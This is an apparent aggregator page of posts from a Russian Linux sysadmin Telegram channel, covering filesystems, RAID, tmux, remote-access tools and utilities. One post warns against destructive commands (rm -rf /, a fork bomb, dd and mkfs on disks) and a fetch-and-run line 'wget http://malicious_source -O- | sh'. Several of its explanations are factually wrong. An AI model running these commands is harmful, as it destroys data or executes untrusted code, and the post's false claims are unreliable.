uz
Feedback

Firibgarlarga uchmang! Telemetrio bunday kanallarni topadi va belgilaydi 👉 Belgini ko‘rmoqchi bo‘lsangiz, obuna bo‘ling

Linux

Linux

Kanalga Telegram’da o‘tish

Все для системного администратора, новости и информация из мира Linux По всем вопросам @evgenycarter

Ko'proq ko'rsatish
2 446
Obunachilar
Ma'lumot yo'q24 soatlar
-67 kun
-3930 kun
Postlar arxiv
Linux
2 446
+8
zfs & btrfs zfs ubuntu установка настройка & samba ubuntu zfs - mirror / spare / zpool detach snapshot zfs btrfs начало btrfs добавление и удаление дисков, balance снимки в btrfs btrfs replace, balance btrfs восстановление файлов btrfs квота источник 👉 @linuxchmod

Linux
2 446
До / После 👉 @linuxchmod
+9
До / После 👉 @linuxchmod

Linux
2 446
+4
Электронная почта Как работает электронная почта Полноценный почтовый сервер за 15 минут Настройка Postfix. Режимы работы почтовых серверов Протокол SMTP, расширение STARTTLS и то, что не стоит поминать DNS записи для почтовых серверов Документация по Postfix Как работает электронная почта Режимы работы почтовых серверов Про порты и шифрование в почтовых серверах DNS записи для почтовых серверов источник 👉 @linuxchmod

Linux
2 446
11 опасных команд Linux, которые вы никогда не должны запускать rm -rf / - Эта команда удалит все файлы и папки на вашем компьютере. Не запускайте ее, если не хотите потерять все свои данные. :(){ :|: & };: - Это команда, также известная как "fork bomb", может вызвать переполнение памяти на вашем компьютере и привести к аварийному завершению системы. mkfs.ext4 /dev/sda - Эта команда форматирует жесткий диск без какого-либо предупреждения или подтверждения. Все данные будут утеряны. dd if=/dev/random of=/dev/sda - Эта команда перезапишет все данные на жестком диске случайными значениями, что приведет к потере данных. chmod 777 / - Эта команда откроет полный доступ к вашей файловой системе для всех пользователей, что может привести к нарушению безопасности. mv /home/* /dev/null - Эта команда переместит все файлы в вашей домашней директории в "null", что означает, что они будут утеряны. wget http://example.com/file -O /dev/null - Эта команда загрузит файл и перезапишет все данные в "null", что приведет к потере данных. mkfs.ext4 /dev/sda1 - Эта команда форматирует раздел жесткого диска без какого-либо предупреждения или подтверждения. Все данные на этом разделе будут утеряны. ln -s /dev/null /etc/passwd - Эта команда создаст символическую ссылку на "/etc/passwd" в "null", что приведет к потере данных. echo "Hello" > /dev/sda - Перезапишите свой раздел, это заменит ваш раздел, содержащий все данные, необходимые для загрузки системы, строкой «Hello». wget http://malicious_source -O- | sh - Такие команды будут загружать и запускать в вашей системе вредоносные сценарии, которые могут подорвать безопасность вашей системы. 👉 @linuxchmod

Linux
2 446
CMatrix Основана на заставке к фильму "Матрица". Показывает текст, прокручивающийся в терминале, может прокручивать строки с одинаковой скоростью или асинхронно и с заданной пользователем скоростью. Установка $ sudo apt-get install cmatrix # Linux Включите асинхронную прокрутку: cmatrix -a Отображение красного текста: cmatrix -C {{red}} Включить режим радуги: cmatrix -r Установите задержку обновления экрана на 2 сантисекунды: cmatrix -u {{2}} Исходный код доступен на GitHub. 👉 @linuxchmod

Linux
2 446
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных
+9
Зайд Менк, 17-летний студент из Зимбабве, потратил более 3 месяцев на создание масштабной модели Манхэттена из переработанных компьютерных деталей. 👉 @linuxchmod

Linux
2 446
Relax-and-Recover Решение для аварийного восстановления и миграции систем на новое железо под управлением Linux (ср. mksysb, ignite) Relax-and-Recover создает загрузочный образ. Этот образ может переразметить систему. После этого запускается восстановление из резервной копии. Возможно восстановление на другое оборудование. Поэтому Relax-and-Recover можно использовать и как инструмент миграции. В настоящее время Relax-and-Recover поддерживает различные загрузочные носители (включая ISO, PXE, ленту OBDR, USB или eSATA), разнообразные сетевые протоколы (включая sftp, ftp, http, nfs, cifs), а также множество стратегий резервного копирования (включая IBM TSM, CommVault, Micro Focus Data Protector, Symantec NetBackup, Bareos, Bacula, rsync, Borg). Решение Relax-and-Recover было разработано для простой настройки, не требует обслуживания и готово прийти на помощь в случае бедствия. Его характер "установил и забыл" устраняет любые оправдания для отсутствия решения по аварийному восстановлению. http://relax-and-recover.org/ https://github.com/rear/rear 👉 @linuxchmod

Linux
2 446
Команда findmnt Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или по
Команда findmnt Это простая утилита командной строки, используемая для отображения списка подключенных файловых систем или поиска файловой системы в /etc/fstab, /etc/mtab или /proc/self/ mountinfo. Для отображения списка подключенных файловых систем, выполните в командной строке следующую команду. По умолчанию команда findmnt отображает файловые системы в древовидном формате. # findmnt Чтобы отобразить информацию в виде обычного списка, используйте параметр -l, как показано ниже # findmnt -l Можно выбрать отображение файловых систем только определенного типа, используя параметр командной строки -t, за которым следует тип файловой системы, такой как XFS или EXT4. # findmnt --fstab -t xfs или # findmnt --fstab -t ext4 Поиск файловой системы, используя точку монтирования. Например, следующая команда отображает все файловые системы /etc/fstab, где каталогом точки монтирования является /mnt/external/disk2. # findmnt --fstab /mnt/external/disk2 #this prints bind mounts where /mnt/external/disk2 is a source или # findmnt --fstab --target /mnt/external/disk2 Выводим все файловые системы /etc/fstab и преобразовываем теги LABEL = и UUID = в реальные имена устройств, добавьте ключ – –evaluate # findmnt --fstab --evaluate Отобразить только точку монтирования, в которой смонтирована файловая система с меткой «/ boot» или «/», используйте следующую команду. # findmnt -n --raw --evaluate --output=target LABEL=/boot или # findmnt -n --raw --evaluate --output=target LABEL=/ Findmnt также позволяет отслеживать действия по монтированию, размонтированию, перемонтированию и перемещению каталога, например, в /mnt/test. # findmnt --poll --mountpoint /mnt/test Если вы хотите больше информации в выводе, используйте ключ –verbose. # findmnt --real --verbose 👉 @linuxchmod

Linux
2 446
Поиск и удаление пустых директорий

find /путь/к/директории -type d -empty -delete
🔍 Что делает команда: * -type d — ищем только директории * -empty — только пустые * -delete — удаляем найденные ✅ Пример:

find /var/log -type d -empty -delete
Удалит все пустые папки в /var/log. ⚠️ Осторожно! Убедитесь, что указали правильный путь, чтобы случайно не удалить важные директории. Если хотите сначала посмотреть, что будет удалено, используйте без -delete:

find /var/log -type d -empty
👉 @linuxchmod

Linux
2 446
Написал свой сервис для удаленного управления компьютерами Я работал админом около 12 лет, за всё время для целей администрир
Написал свой сервис для удаленного управления компьютерами Я работал админом около 12 лет, за всё время для целей администрирования пользовался почти всеми известными программами для удаленного доступа, сначала TeamViewer - после внедрения их политики лицензирования и обновления, мягко говоря неудобной и жуткой дорогой (около 30 т.р. в год), пересел на AnyDesk — который был чуть хуже в плане функционала, но более терпим в плане использования, и немного меньшей ценой — около 20 т.р. за год. Но душа всё-таки не была довольна, не хватало многих функций, автоматизации, да и порой было неудобно/лень договариваться о подключении с пользователем, что бы выполнить пустяковое действие. И так пришла на ум идея создать инструмент от админа админу, что бы и интерфейс устраивал, но не был перенасыщен, и разобраться мог любой человек более менее владеющий компьютером. Ну и конечно санкции и новая их угроза послужила мотивом, зарубежные сервисы постепенно продавливаются или сами разделяют повестку ущемления обычных людей и к сожалению блокируют доступ к своим ресурсам. Хотя по моему мнению, IT компании как наука и спорт должны быть вне политики, не важно на какой стороне твой пользователь. И вот буквально на днях я закончил писать бета версию, залив её в продакшн, в которой реализовал базовые функции, достаточные для закрытия определенного процента потребностей: https://habr.com/ru/post/720186/ 👉 @linuxchmod

Linux
2 446
Ничего необычного, просто обезьяна настраивает Микротик 😀 👉 @linuxchmod

Linux
2 446
Подборка часто используемых инструментов удаленного подключения 1. Xshell Xshell - это очень мощное программное обеспечение для эмуляции защищенного терминала, которое поддерживает SSH1, SSH2 и протокол TELNET платформы Windows. Xshell можно использовать в интерфейсе Windows для доступа к удаленным серверам на различных системах, тем самым лучше достигая цели терминала удаленного управления. https://www.xshell.com/en/xshell/ 2. SecureCRT SecureCRT - это мощное программное обеспечение для эмуляции защищенного терминала, которое может помочь пользователям более безопасно подключаться к удаленным серверам, а также может быть использовано для реализации функций удаленного управления сервером и передачи файлов. SecureCRT поддерживает протоколы SSH1, SSH2, Telnet, Rlogin, Serial и SSL/TLS, которые могут быть использованы для подключения к различным удаленным терминалам, что позволяет удовлетворить различные потребности пользователей. https://www.vandyke.com 3. WinSCP WinSCP - это графический клиент SFTP с открытым исходным кодом, который использует SSH в среде Windows. Он также поддерживает протокол SCP. Его основная функция - безопасное копирование и передача файлов между локальным и удаленным компьютерами. https://winscp.net/ 4. PuTTY Putty - это легкий клиент SSH и Telnet, который может помочь пользователям подключиться к удаленным серверам, а также поддерживает протокол шифрования аутентификации SSH-2, что может сделать доступ пользователей к сети более безопасным. Putty также поддерживает протокол SSH на платформе Windows, что позволяет пользователям лучше контролировать удаленные серверы. https://putty.org/ 5. MobaXterm MobaXterm предоставляет комплексные возможности, почти все важные удаленные сетевые инструменты (такие как SSH, X11, RDP, VNC, FTP, MOSH и т.д.), а также команды Unix на рабочем столе Windows (bash, ls, cat, sed, grep, awk, rsync и т.д.), и автоматически открывает режим sftp после входа в систему. https://mobaxterm.mobatek.net/ 6. Tabby Tabby - это современный инструмент терминального подключения, с открытым исходным кодом и кроссплатформенный, поддерживающий системы Windows, MacOS и Linux. Tabby имеет более 20k+ Star на Github, что говорит о том, что это очень популярный терминальный инструмент! https://tabby.sh/ 👉 @linuxchmod

Linux
2 446
Установка Ubuntu 20.04 в RAID 1. Настройка и восстановление RAID массива Настройка Software RAID при установке Ubuntu Server 20.04. Комманды в видео: cat /proc/mdstat | Просмотр состояния RAID fdisk -l | Простомотр дисков и разделов mdadm --add /dev/md1 /dev/sda2 | Добавление разделов (partition) в RAID sfdisk -d /dev/sda | sfdisk /dev/sdb | Клонирование разделов с диска sda на sdb grub-install /dev/sdb | Установка загрузчика на новый диск sdb 👉 @linuxchmod

Linux
2 446
RAID массивы. Уровни 0 1 5 6 10. Что такое RAID и как он работает 00:00 Вступление 00:46 RAID 0 02:42 RAID 1 04:40 RAID 5 07:59 RAID 6 09:25 RAID 10 11:32 Сравнение уровней RAID 👉 @linuxchmod

Linux
2 446
+9
LPIC-101 1.10 Поиск файлов locate и find 1.9 Команда top для управления процессами 1.8 Менеджеры пакетов yum и apt 1.7 Программа Cron (крон) 1.6 Log файл и команды для работы с ими 1.5 Права доступа в файловой системе 1.4 Команды для работы с файлами и файловой системой 1 3 Команда sudo в Linux и создание нового пользователя 1.2 Редакторы vi и nano 1.1 Виртуальная машина и создание пользователя Рут права источник 👉 @linuxchmod

Linux
2 446
+6
Bash Shell Scripting Tutorial for Beginners Our First Script Using Bash on Linux | Ep#1 (Ubuntu) Relational Operators and If Statements | Ep#2 (Linux) String Operators & Comparison | Ep#3 (Linux) Read User Input into Bash Script | Ep#4 (Linux) Command Line Arguments | Ep#5 (Linux Terminal) For Loops, Continue, and Break on Linux | Ep#6 (Ubuntu) Empty Trash Bin Periodically | Ep#7 (Linux Terminal) 👉 @linuxchmod

Linux
2 446
🚀 MEETUPxSPRINT OFFER для инженеров технической поддержки от YADRO Хочешь узнать, как устроена техническая поддержка в одной из ведущих технологических компаний России? Приходи на онлайн-митап от YADRO! Расскажем, покажем, ответим на любые вопросы — и дадим возможность попасть в команду всего за 3 дня! 🔥 Программа митапа: ✔️ Сервисная служба YADRO: основные ресурсы и направления Василий Бронников, Руководитель отдела техподдержки решений ✔️ Наши продукты: уникальные характеристики и возможности Андрей Антоненко, Ведущий инженер техподдержки TATLIN ✔️ Реальные кейсы: как команды решают сложные задачи Дмитрий Сафонов, Руководитель группы L1-поддержки TATLIN.UNIFIED 🔥 Что тебя ждёт: ➖ Реальные кейсы и инсайты из практики техподдержки ➖ Доклады от инженеров YADRO: продукты, процессы, особенности ➖ Живое общение с командой и ответы на вопросы о работе и технологиях 👨‍💻 А если ты задумываешься о новой работе — у тебя есть возможность быстро попасть в команду YADRO и получить оффер за 3 дня. Для этого нужно пройти короткий тест. Сделать это можно уже сейчас, а также во время или после митапа — выбирай, как тебе удобно (но заявки принимаем до 6 июля). 📌 Тест можно пройти по ссылке. ➖➖➖ 🗓 26 июня, начало в 19:00 мск, четверг 🌐 ОНЛАЙН ✅ Регистрация на мероприятие Реклама. ООО "ЭВРОНЕ.РУ". ИНН 3663057399. erid: 2VtzquvqxbG

Linux
2 446
Краткая шпаргалка по использованию tmux Ctr+B, ? Показать все доступные хоткеи Ctr+B, C Создать окно Ctr+B, N Следующее окно
Краткая шпаргалка по использованию tmux Ctr+B, ? Показать все доступные хоткеи Ctr+B, C Создать окно Ctr+B, N Следующее окно Ctr+B, P Предыдущее окно Ctr+B, [0-9] Перейти к окну с данным номером Ctr+B, X Закрыть окно Ctr+B, % Горизонтальное разделение Ctr+B, " Вертикальное разделение Ctr+B, стрелочки Переход между разделениями Ctr+B, запятая Переименовать окно Ctr+B, W Список всех окон с переключением Ctr+B, Fn+вверх Скролинг, можно использовать точпад Ctr+B, $ Переименовать текущую сессию Ctr+B, D Detach, отсоединиться от сессии Список доступных сессий можно посмотреть командой: tmux ls Подключение к сессии: tmux attach -t 0 Сессиям можно давать осмысленные имена и запускать в них фоновые задачи: # создать фоновую сессию tmux new-session -d -s background-task 'watch date' # подсоединиться к сессии tmux attach -t background-task # прибить сессию tmux kill-session -t background-task Это иногда бывает удобно в каких-нибудь скриптах. Характерно, что в screen подобный функционал тоже заявлен, но последний раз, когда я проверял, он был сломан. Интересно также, что в отличие от screen, в tmux нет возможности работать с последовательными портами. Но если вы решите полностью переходить на tmux, то для этой задачи можете воспользоваться утилитой cu: cu -l /dev/tty.usbserial -s 115200 👉 @linuxchmod

Linux
2 446
Так выглядели трансатлантические кабели XIX века 👉 @linuxchmod
+3
Так выглядели трансатлантические кабели XIX века 👉 @linuxchmod

Linux
2 446
Zenith - что-то вроде top или htop, но с диаграммами с возможностью масштабирования, использованием CPU, GPU, сети и диска. О
Zenith - что-то вроде top или htop, но с диаграммами с возможностью масштабирования, использованием CPU, GPU, сети и диска. Особенности Дополнительные графики использования ЦП, памяти, сети и дисков Быстрый просмотр свободного места на диске, IP-адресов сетевых карт, частоты процессора Выделение основных пользователей ЦП, памяти и диска Процент заряда батареи, время зарядки или разрядки, потребляемая мощность Таблица процессов с возможностью фильтрации по типу верхней части, включающая использование диска каждым процессом Изменение приоритета процесса Представления диаграмм с возможностью масштабирования (с поддержкой прокрутки назад во времени) Управление процессами с помощью сигналов Сохранение данных о производительности между запусками Метрики использования GPU для графических процессоров NVIDIA (с --features nvidia), включая использование GPU для каждого процесса Графики свободного места на диске Учет задержек (в Linux при запуске zenith с правами root) Установка на дистрибутивы Linux на базе Debian/Ubuntu (64-бит) sudo apt install curl curl -sL https://raw.githubusercontent.com/wimpysworld/deb-get/main/deb-get | sudo -E bash -s install deb-get https://github.com/bvaisvil/zenith 👉 @linuxchmod